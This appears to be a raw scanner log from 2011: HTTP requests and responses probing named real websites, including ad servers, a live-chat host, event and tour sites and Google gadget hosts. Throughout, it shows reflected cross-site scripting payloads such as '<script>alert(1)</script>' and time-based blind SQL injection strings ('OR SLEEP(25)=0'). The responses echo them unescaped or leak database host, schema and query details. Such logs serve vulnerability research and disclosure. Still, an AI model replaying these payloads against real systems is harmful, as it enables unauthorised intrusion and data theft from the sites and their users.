</td></tr></table><b>Database error on host '192.168.50.20', db 'sapha_core', user 'www', object 'globalDB':</b> Invalid SQL: select SQL_CACHE * from site_options where site_ID = '-111' OR SLEEP(25)=0 LIMIT 1--8870a<script>alert(1)</script>5c8aaf5ef92'<br>
...[SNIP]...

GET /engine.php?ac=-111'%20OR%20SLEEP(25)=0%20LIMIT%2/acfaf<script>alert(1)</script>dffcf9b871801-- HTTP/1.1
Host: dce.sapha.com
Proxy-Connection: keep-alive
Referer: http://tours.sapha.com/?scs_sid=-111%27%20OR%20SLEEP(25)=0%20LIMIT%201--+&scs_tid=1488
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: sapha_tst_2546=TRUE; sapha_2546_1=62715%7C35764%7C31540%7C2011-04-22+15%3A37%3A56; sapha_tst_1=TRUE; sapha_1_19=108127%7C2674799%7C2668748%7C2011-04-22+20%3A01%3A46

HTTP/1.1 200 OK
Date: Fri, 06 May 2011 22:05:48 GMT
Server: Apache/2.2.3 (CentOS)
X-Powered-By: PHP/5.1.6
Vary: Accept-Encoding,User-Agent
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 502

</td></tr></table><b>Database error on host '192.168.50.20', db 'sapha_core', user 'www', object 'globalDB':</b> Invalid SQL: select SQL_CACHE * from site_options where site_ID = '-111' OR SLEEP(25)=0 LIMIT%2/acfaf<script>alert(1)</script>dffcf9b871801--'<br>
...[SNIP]...

GET /app/deployment.php?id=5930&ptid=5930-13937bf0e-a621-46f8-934f-34f158f4a901&stid=13937bf0e-a621-46f8-934f-34f158f4a901&oref=Direct&chat=null&r=0.5038613956421614&d[]=52219e6c5<script>alert(1)</script>2ac58b1cb32&b[]=14187 HTTP/1.1
Host: depot.activalive.com
Proxy-Connection: keep-alive
Referer: http://www.firehost.com/secure-hosting/pci?_kk=PCI%20compliance%20scanning&_kt=538c084f-5d5b-43c7-83f9-c71a7300c9e6&gclid=CLyMisrV1KgCFQNx5Qodz0X8fA
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

HTTP/1.1 200 OK
Date: Sat, 07 May 2011 01:18:34 GMT
Server: Apache/2.2.3 (Red Hat)
X-Powered-By: PHP/5.2.13
Content-Length: 550
Connection: close
Content-Type: text/javascript;charset=iso-8859-1

_alc.monitoring.push(5221);
_alc.__setStartDeptStatus(52219e6c5<script>alert(1)</script>2ac58b1cb32, false);
_alc.__setStartDeptStatus(5221, true);
delete _alc.__setStartDeptStatus;
_alc.setup(10596, 5930);
_alc.handleInvite = _alc.rollDownInvite;
_alc.handleInviteRejection = _alc.rollBackInvite;
_a
...[SNIP]...

GET /?s=103&e=0&t=21&f=javascript&79937<script>alert(1)</script>4b3b2809a1c=1 HTTP/1.1
Host: dinclinx.com
Proxy-Connection: keep-alive
Referer: http://www.scmagazineus.com/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

HTTP/1.1 200 OK
Connection: close
Date: Fri, 06 May 2011 21:50:11 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Cache-Control: no-cache, max-age=0, must-revalidate
Pragma: no-cache
Expires: Fri, 06 May 2011 21:50:11 GMT
Content-Type: application/x-javascript; charset=utf-8
Content-Length: 69

// Error: Unknown parameter 79937<script>alert(1)</script>4b3b2809a1c

GET /subscribe.php?event_id=-111%20OR%20SLEEP(25)=0%20LIMIT%20/2b634<script>alert(1)</script>f3a70d330da1--+ HTTP/1.1
Host: events.gsmiweb.com
Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=246713051.1303999551.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=246713051.480784472.1303999551.1303999551.1303999551.1

HTTP/1.1 200 OK
Date: Fri, 06 May 2011 22:23:29 GMT
Server: Apache/2.2.3 (CentOS)
X-Powered-By: PHP/5.2.14
Set-Cookie: PHPSESSID=fvqe9k1kjfhqn1gq57olpgq8c1; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Length: 315
Connection: close
Content-Type: text/html

<script language="javascript">
window.location.href="events.php";
</script>
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '/2b634<script>alert(1)</script>f3a70d330da1-- AND
type = 1 AND active = 1 ' at line 3

GET /cmd9ce1e<script>alert(1)</script>41bc3fc6507/advancedaccess?ps_t=1304725194130&ps_l=http%3A//www.advancedaccess.com/&ps_r=&ps_s=pNpFk6ofuQKf HTTP/1.1
Host: image.providesupport.com
Proxy-Connection: keep-alive
Referer: http://www.advancedaccess.com/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: vsid=pNpFk6ofuQKf

HTTP/1.1 404 Not Found
Content-Type: text/html
Cache-Control: no-cache
Pragma: no-cache
Connection: close
Date: Fri, 06 May 2011 18:40:14 GMT
Content-Length: 545

<html>
<body>
<h2>Error 404: Not Found</h2>
<pre>
File: /cmd9ce1e<script>alert(1)</script>41bc3fc6507/advancedaccess?ps_t=1304725194130&ps_l=http://www.advancedaccess.com/&ps_r=&ps_s=pNpFk6ofuQKf
</pre>
...[SNIP]...

GET /jsce53d<script>alert(1)</script>bdd2d651cf0/advancedaccess/safe-monitor.js?ps_h=dTmJ&ps_t=1304725193847 HTTP/1.1
Host: image.providesupport.com
Proxy-Connection: keep-alive
Referer: http://www.advancedaccess.com/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

HTTP/1.1 404 Not Found
Content-Type: text/html
Cache-Control: no-cache
Pragma: no-cache
Connection: close
Date: Fri, 06 May 2011 18:39:59 GMT
Content-Length: 574

<html>
<body>
<h2>Error 404: Not Found</h2>
<pre>
File: /jsce53d<script>alert(1)</script>bdd2d651cf0/advancedaccess/safe-monitor.js?ps_h=dTmJ&ps_t=1304725193847
</pre>
<!-- =====================
...[SNIP]...

GET /js/advancedaccess4f0a6<a>a8f8fbe4fcc/safe-monitor.js?ps_h=dTmJ&ps_t=1304725193847 HTTP/1.1
Host: image.providesupport.com
Proxy-Connection: keep-alive
Referer: http://www.advancedaccess.com/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

HTTP/1.1 404 Not Found
Content-Type: text/html
Cache-Control: no-cache
Pragma: no-cache
Connection: close
Date: Fri, 06 May 2011 18:40:01 GMT
Content-Length: 552

<html>
<body>
<h2>Error 404: Not Found</h2>
<pre>
Page: /js/advancedaccess4f0a6<a>a8f8fbe4fcc/safe-monitor.js?ps_h=dTmJ&ps_t=1304725193847
</pre>
<!-- ===========================================
...[SNIP]...

GET /content/0/16228/124632/300x250_Patch.js?mpck=altfarm.mediaplex.com%2Fad%2Fck%2F16228-124632-16454-1%3Fmpt%3D5423093c4caf"-alert(1)-"ec16db5a7c7&mpt=5423093&mpvc=http://ad.doubleclick.net/click%3Bh%3Dv8/3b00/3/0/%2a/b%3B241006849%3B0-0%3B1%3B37579671%3B4307-300/250%3B42070593/42088380/1%3B%3B%7Esscs%3D%3f HTTP/1.1
Host: img.mediaplex.com
Proxy-Connection: keep-alive
Referer: http://www.scmagazineus.com/subscribe/section/122/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: svid=822523287793; __utmz=183366586.1303926238.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=183366586.719740200.1303926238.1303926238.1303926238.1; mojo2=17912:1281/16228:26209; mojo3=16228:16454/10105:1629/13198:5934/14302:16279/4608:12284/13001:12284/17975:12284/13966:19269/6726:1178/12309:27909/5712:3840/15902:34879/17404:9432/1551:17349/3484:15222/15017:28408

HTTP/1.1 200 OK
Date: Sat, 07 May 2011 01:50:41 GMT
Server: Apache
Last-Modified: Fri, 11 Mar 2011 22:17:39 GMT
ETag: "555379-d9c-49e3c5474a6c0"
Accept-Ranges: bytes
Content-Length: 4298
Content-Type: application/x-javascript

(function(){
var protocol = window.location.protocol;
if (protocol == "https:") {
protocol = "https://secure.img-cdn.mediaplex.com/0/";
}
else
{
protocol = "http://img-cdn.mediaplex.com/0/";
};
...[SNIP]...
<mpcke/>';
if (mpcke == 1) {
mpcclick = encodeURIComponent("altfarm.mediaplex.com%2Fad%2Fck%2F16228-124632-16454-1%3Fmpt%3D5423093c4caf"-alert(1)-"ec16db5a7c7");
mpck = "http://" + mpcclick;
}
else if (mpcke == 2) {
mpcclick2 = encodeURIComponent("altfarm.mediaplex.com%2Fad%2Fck%2F16228-124632-16454-1%3Fmpt%3D5423093c4caf"-alert(1)-"ec16db5a7c7");
mpck = "h
...[SNIP]...

GET /content/0/16228/124632/300x250_Patch.js?mpck=altfarm.mediaplex.com%2Fad%2Fck%2F16228-124632-16454-1%3Fmpt%3D5423093721fc'%3balert(1)//ead46c1023b&mpt=5423093&mpvc=http://ad.doubleclick.net/click%3Bh%3Dv8/3b00/3/0/%2a/b%3B241006849%3B0-0%3B1%3B37579671%3B4307-300/250%3B42070593/42088380/1%3B%3B%7Esscs%3D%3f HTTP/1.1
Host: img.mediaplex.com
Proxy-Connection: keep-alive
Referer: http://www.scmagazineus.com/subscribe/section/122/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: svid=822523287793; __utmz=183366586.1303926238.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=183366586.719740200.1303926238.1303926238.1303926238.1; mojo2=17912:1281/16228:26209; mojo3=16228:16454/10105:1629/13198:5934/14302:16279/4608:12284/13001:12284/17975:12284/13966:19269/6726:1178/12309:27909/5712:3840/15902:34879/17404:9432/1551:17349/3484:15222/15017:28408

HTTP/1.1 200 OK
Date: Sat, 07 May 2011 01:50:43 GMT
Server: Apache
Last-Modified: Fri, 11 Mar 2011 22:17:39 GMT
ETag: "555379-d9c-49e3c5474a6c0"
Accept-Ranges: bytes
Content-Length: 4304
Content-Type: application/x-javascript

(function(){
var protocol = window.location.protocol;
if (protocol == "https:") {
protocol = "https://secure.img-cdn.mediaplex.com/0/";
}
else
{
protocol = "http://img-cdn.mediaplex.com/0/";
};
...[SNIP]...
<a href="http://ad.doubleclick.net/click;h=v8/3b00/3/0/*/b;241006849;0-0;1;37579671;4307-300/250;42070593/42088380/1;;~sscs=?http://altfarm.mediaplex.com/ad/ck/16228-124632-16454-1?mpt=5423093721fc';alert(1)//ead46c1023b" target="_blank">
...[SNIP]...

GET /content/0/16228/124632/300x250_Patch.js?mpck=altfarm.mediaplex.com%2Fad%2Fck%2F16228-124632-16454-1%3Fmpt%3D5423093&mpt=5423093&mpvc=http://ad.doubleclick.net/click%3Bh%3Dv8/3b00/3/0/%2a/b%3B241006849%3B0-0%3B1%3B37579671%3B4307-300/250%3B42070593/42088380/1%3B%3B%7Esscs%3D%3ff92f9'%3balert(1)//e1637aca820 HTTP/1.1
Host: img.mediaplex.com
Proxy-Connection: keep-alive
Referer: http://www.scmagazineus.com/subscribe/section/122/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: svid=822523287793; __utmz=183366586.1303926238.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=183366586.719740200.1303926238.1303926238.1303926238.1; mojo2=17912:1281/16228:26209; mojo3=16228:16454/10105:1629/13198:5934/14302:16279/4608:12284/13001:12284/17975:12284/13966:19269/6726:1178/12309:27909/5712:3840/15902:34879/17404:9432/1551:17349/3484:15222/15017:28408

HTTP/1.1 200 OK
Date: Sat, 07 May 2011 01:51:23 GMT
Server: Apache
Last-Modified: Fri, 11 Mar 2011 22:17:39 GMT
ETag: "555379-d9c-49e3c5474a6c0"
Accept-Ranges: bytes
Content-Length: 4300
Content-Type: application/x-javascript

(function(){
var protocol = window.location.protocol;
if (protocol == "https:") {
protocol = "https://secure.img-cdn.mediaplex.com/0/";
}
else
{
protocol = "http://img-cdn.mediaplex.com/0/";
};
...[SNIP]...
<a href="http://ad.doubleclick.net/click;h=v8/3b00/3/0/*/b;241006849;0-0;1;37579671;4307-300/250;42070593/42088380/1;;~sscs=?f92f9';alert(1)//e1637aca820http://altfarm.mediaplex.com/ad/ck/16228-124632-16454-1?mpt=5423093" target="_blank">
...[SNIP]...

GET /content/0/16228/124632/300x250_Patch.js?mpck=altfarm.mediaplex.com%2Fad%2Fck%2F16228-124632-16454-1%3Fmpt%3D5423093&mpt=5423093&mpvc=http://ad.doubleclick.net/click%3Bh%3Dv8/3b00/3/0/%2a/b%3B241006849%3B0-0%3B1%3B37579671%3B4307-300/250%3B42070593/42088380/1%3B%3B%7Esscs%3D%3f22bea"%3balert(1)//050f33362ed HTTP/1.1
Host: img.mediaplex.com
Proxy-Connection: keep-alive
Referer: http://www.scmagazineus.com/subscribe/section/122/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: svid=822523287793; __utmz=183366586.1303926238.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=183366586.719740200.1303926238.1303926238.1303926238.1; mojo2=17912:1281/16228:26209; mojo3=16228:16454/10105:1629/13198:5934/14302:16279/4608:12284/13001:12284/17975:12284/13966:19269/6726:1178/12309:27909/5712:3840/15902:34879/17404:9432/1551:17349/3484:15222/15017:28408

HTTP/1.1 200 OK
Date: Sat, 07 May 2011 01:51:21 GMT
Server: Apache
Last-Modified: Fri, 11 Mar 2011 22:17:39 GMT
ETag: "555379-d9c-49e3c5474a6c0"
Accept-Ranges: bytes
Content-Length: 4300
Content-Type: application/x-javascript

(function(){
var protocol = window.location.protocol;
if (protocol == "https:") {
protocol = "https://secure.img-cdn.mediaplex.com/0/";
}
else
{
protocol = "http://img-cdn.mediaplex.com/0/";
};
...[SNIP]...
<mpvce/>';
if (mpvce == 1) {
mpvclick = encodeURIComponent("http://ad.doubleclick.net/click;h=v8/3b00/3/0/*/b;241006849;0-0;1;37579671;4307-300/250;42070593/42088380/1;;~sscs=?22bea";alert(1)//050f33362ed");
mpvc = mpvclick;
}
else if (mpvce == 2) {
mpvclick2 = encodeURIComponent("http://ad.doubleclick.net/click;h=v8/3b00/3/0/*/b;241006849;0-0;1;37579671;4307-300/250;42070593/42088380/1;;~sscs=?22bea";
...[SNIP]...

GET /content/0/16228/124632/728x90_Patch.js?mpck=altfarm.mediaplex.com%2Fad%2Fck%2F16228-124632-16454-0%3Fmpt%3D57013914867"-alert(1)-"af246ecfe7f&mpt=570139&mpvc=http://ad.doubleclick.net/click%3Bh%3Dv8/3aff/3/0/%2a/f%3B241006852%3B0-0%3B0%3B37579671%3B3454-728/90%3B42070397/42088184/1%3B%3B%7Esscs%3D%3f HTTP/1.1
Host: img.mediaplex.com
Proxy-Connection: keep-alive
Referer: http://www.scmagazineus.com/subscribe/section/122/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: svid=822523287793; __utmz=183366586.1303926238.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=183366586.719740200.1303926238.1303926238.1303926238.1; mojo2=17912:1281/16228:26209; mojo3=16228:16454/10105:1629/13198:5934/14302:16279/4608:12284/13001:12284/17975:12284/13966:19269/6726:1178/12309:27909/5712:3840/15902:34879/17404:9432/1551:17349/3484:15222/15017:28408

HTTP/1.1 200 OK
Date: Fri, 06 May 2011 21:50:52 GMT
Server: Apache
Last-Modified: Fri, 11 Mar 2011 22:18:20 GMT
ETag: "55537c-d92-49e3c56e64300"
Accept-Ranges: bytes
Content-Length: 4280
Content-Type: application/x-javascript

(function(){
var protocol = window.location.protocol;
if (protocol == "https:") {
protocol = "https://secure.img-cdn.mediaplex.com/0/";
}
else
{
protocol = "http://img-cdn.mediaplex.com/0/";
};
...[SNIP]...
<mpcke/>';
if (mpcke == 1) {
mpcclick = encodeURIComponent("altfarm.mediaplex.com%2Fad%2Fck%2F16228-124632-16454-0%3Fmpt%3D57013914867"-alert(1)-"af246ecfe7f");
mpck = "http://" + mpcclick;
}
else if (mpcke == 2) {
mpcclick2 = encodeURIComponent("altfarm.mediaplex.com%2Fad%2Fck%2F16228-124632-16454-0%3Fmpt%3D57013914867"-alert(1)-"af246ecfe7f");
mpck = "ht
...[SNIP]...

GET /content/0/16228/124632/728x90_Patch.js?mpck=altfarm.mediaplex.com%2Fad%2Fck%2F16228-124632-16454-0%3Fmpt%3D5701394888f'%3balert(1)//bc918fe2e78&mpt=570139&mpvc=http://ad.doubleclick.net/click%3Bh%3Dv8/3aff/3/0/%2a/f%3B241006852%3B0-0%3B0%3B37579671%3B3454-728/90%3B42070397/42088184/1%3B%3B%7Esscs%3D%3f HTTP/1.1
Host: img.mediaplex.com
Proxy-Connection: keep-alive
Referer: http://www.scmagazineus.com/subscribe/section/122/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: svid=822523287793; __utmz=183366586.1303926238.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=183366586.719740200.1303926238.1303926238.1303926238.1; mojo2=17912:1281/16228:26209; mojo3=16228:16454/10105:1629/13198:5934/14302:16279/4608:12284/13001:12284/17975:12284/13966:19269/6726:1178/12309:27909/5712:3840/15902:34879/17404:9432/1551:17349/3484:15222/15017:28408

HTTP/1.1 200 OK
Date: Fri, 06 May 2011 21:50:54 GMT
Server: Apache
Last-Modified: Fri, 11 Mar 2011 22:18:20 GMT
ETag: "55537c-d92-49e3c56e64300"
Accept-Ranges: bytes
Content-Length: 4286
Content-Type: application/x-javascript

(function(){
var protocol = window.location.protocol;
if (protocol == "https:") {
protocol = "https://secure.img-cdn.mediaplex.com/0/";
}
else
{
protocol = "http://img-cdn.mediaplex.com/0/";
};
...[SNIP]...
<a href="http://ad.doubleclick.net/click;h=v8/3aff/3/0/*/f;241006852;0-0;0;37579671;3454-728/90;42070397/42088184/1;;~sscs=?http://altfarm.mediaplex.com/ad/ck/16228-124632-16454-0?mpt=5701394888f';alert(1)//bc918fe2e78" target="_blank">
...[SNIP]...

GET /content/0/16228/124632/728x90_Patch.js?mpck=altfarm.mediaplex.com%2Fad%2Fck%2F16228-124632-16454-0%3Fmpt%3D570139&mpt=570139&mpvc=http://ad.doubleclick.net/click%3Bh%3Dv8/3aff/3/0/%2a/f%3B241006852%3B0-0%3B0%3B37579671%3B3454-728/90%3B42070397/42088184/1%3B%3B%7Esscs%3D%3fe11d8'%3balert(1)//93f53f18417 HTTP/1.1
Host: img.mediaplex.com
Proxy-Connection: keep-alive
Referer: http://www.scmagazineus.com/subscribe/section/122/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: svid=822523287793; __utmz=183366586.1303926238.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=183366586.719740200.1303926238.1303926238.1303926238.1; mojo2=17912:1281/16228:26209; mojo3=16228:16454/10105:1629/13198:5934/14302:16279/4608:12284/13001:12284/17975:12284/13966:19269/6726:1178/12309:27909/5712:3840/15902:34879/17404:9432/1551:17349/3484:15222/15017:28408

HTTP/1.1 200 OK
Date: Fri, 06 May 2011 21:51:52 GMT
Server: Apache
Last-Modified: Fri, 11 Mar 2011 22:18:20 GMT
ETag: "55537c-d92-49e3c56e64300"
Accept-Ranges: bytes
Content-Length: 4282
Content-Type: application/x-javascript

(function(){
var protocol = window.location.protocol;
if (protocol == "https:") {
protocol = "https://secure.img-cdn.mediaplex.com/0/";
}
else
{
protocol = "http://img-cdn.mediaplex.com/0/";
};
...[SNIP]...
<a href="http://ad.doubleclick.net/click;h=v8/3aff/3/0/*/f;241006852;0-0;0;37579671;3454-728/90;42070397/42088184/1;;~sscs=?e11d8';alert(1)//93f53f18417http://altfarm.mediaplex.com/ad/ck/16228-124632-16454-0?mpt=570139" target="_blank">
...[SNIP]...

GET /content/0/16228/124632/728x90_Patch.js?mpck=altfarm.mediaplex.com%2Fad%2Fck%2F16228-124632-16454-0%3Fmpt%3D570139&mpt=570139&mpvc=http://ad.doubleclick.net/click%3Bh%3Dv8/3aff/3/0/%2a/f%3B241006852%3B0-0%3B0%3B37579671%3B3454-728/90%3B42070397/42088184/1%3B%3B%7Esscs%3D%3fc25c0"%3balert(1)//f9353723fef HTTP/1.1
Host: img.mediaplex.com
Proxy-Connection: keep-alive
Referer: http://www.scmagazineus.com/subscribe/section/122/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: svid=822523287793; __utmz=183366586.1303926238.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=183366586.719740200.1303926238.1303926238.1303926238.1; mojo2=17912:1281/16228:26209; mojo3=16228:16454/10105:1629/13198:5934/14302:16279/4608:12284/13001:12284/17975:12284/13966:19269/6726:1178/12309:27909/5712:3840/15902:34879/17404:9432/1551:17349/3484:15222/15017:28408

HTTP/1.1 200 OK
Date: Fri, 06 May 2011 21:51:50 GMT
Server: Apache
Last-Modified: Fri, 11 Mar 2011 22:18:20 GMT
ETag: "55537c-d92-49e3c56e64300"
Accept-Ranges: bytes
Content-Length: 4282
Content-Type: application/x-javascript

(function(){
var protocol = window.location.protocol;
if (protocol == "https:") {
protocol = "https://secure.img-cdn.mediaplex.com/0/";
}
else
{
protocol = "http://img-cdn.mediaplex.com/0/";
};
...[SNIP]...
<mpvce/>';
if (mpvce == 1) {
mpvclick = encodeURIComponent("http://ad.doubleclick.net/click;h=v8/3aff/3/0/*/f;241006852;0-0;0;37579671;3454-728/90;42070397/42088184/1;;~sscs=?c25c0";alert(1)//f9353723fef");
mpvc = mpvclick;
}
else if (mpvce == 2) {
mpvclick2 = encodeURIComponent("http://ad.doubleclick.net/click;h=v8/3aff/3/0/*/f;241006852;0-0;0;37579671;3454-728/90;42070397/42088184/1;;~sscs=?c25c0";a
...[SNIP]...

GET /gadgets/ifr?url=http://www.google.com/friendconnect/gadgets/recommended_pages.xml845e0%0aalert(1)//2a6a5889652&container=peoplesense&parent=http://allatsea.net/&mid=0&view=profile&d=0.558.7&lang=en&communityId=14672211859858017590&caller=http://allatsea.net/by-category/Sailing_Regatta HTTP/1.1
Host: iqavu79a908u5vcecp0pq80hhbhkv33b-a-fc-opensocial.googleusercontent.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

HTTP/1.1 400 Bad Request
P3P: CP="CAO PSA OUR"
Content-Type: text/html; charset=UTF-8
Date: Fri, 06 May 2011 21:11:26 GMT
Expires: Fri, 06 May 2011 21:11:26 GMT
Cache-Control: private, max-age=0
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
Server: GSE
Content-Length: 136

Unable to retrieve spec for http://www.google.com/friendconnect/gadgets/recommended_pages.xml845e0
alert(1)//2a6a5889652. HTTP error 400

GET /jsct?sid=918&ct=SCMAGAZINE_ROS9b3c3<script>alert(1)</script>fd92264a39e&num=4&layt=624x300&fmt=simp HTTP/1.1
Host: jlinks.industrybrains.com
Proxy-Connection: keep-alive
Referer: http://www.scmagazineus.com/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

HTTP/1.1 200 OK
Connection: close
Date: Fri, 06 May 2011 21:50:08 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Cache-Control: no-cache, max-age=0, must-revalidate
Pragma: no-cache
Expires: Fri, 06 May 2011 21:50:08 GMT
Content-Type: application/x-javascript
Content-Length: 85

// Error: Unknown old section SCMAGAZINE_ROS9b3c3<script>alert(1)</script>fd92264a39e

GET /jsct?sid=918&ct=SCMAGAZINE_ROS&num=4&layt=624x300&fmt=simp&e69b7<script>alert(1)</script>70b75349d17=1 HTTP/1.1
Host: jlinks.industrybrains.com
Proxy-Connection: keep-alive
Referer: http://www.scmagazineus.com/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

HTTP/1.1 200 OK
Connection: close
Date: Fri, 06 May 2011 21:50:28 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Cache-Control: no-cache, max-age=0, must-revalidate
Pragma: no-cache
Expires: Fri, 06 May 2011 21:50:28 GMT
Content-Type: application/x-javascript
Content-Length: 69

// Error: Unknown parameter e69b7<script>alert(1)</script>70b75349d17

GET /gadgets/ifr?url=http://www.google.com/friendconnect/gadgets/newsletterSubscribe.xml9f349%0aalert(1)//0354955d84e&container=peoplesense&parent=http://allatsea.net/&mid=0&view=profile&d=0.558.7&lang=en&up_newsletterHeadlineText=Subscribe+to+All+At+Sea!&up_newsletterStandardText=Get+updates+of+our+latest+content&communityId=14672211859858017590&caller=http://allatsea.net/subscribe.htm HTTP/1.1
Host: k830suiki828goudg9448o6bp0tpu5r3-a-fc-opensocial.googleusercontent.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

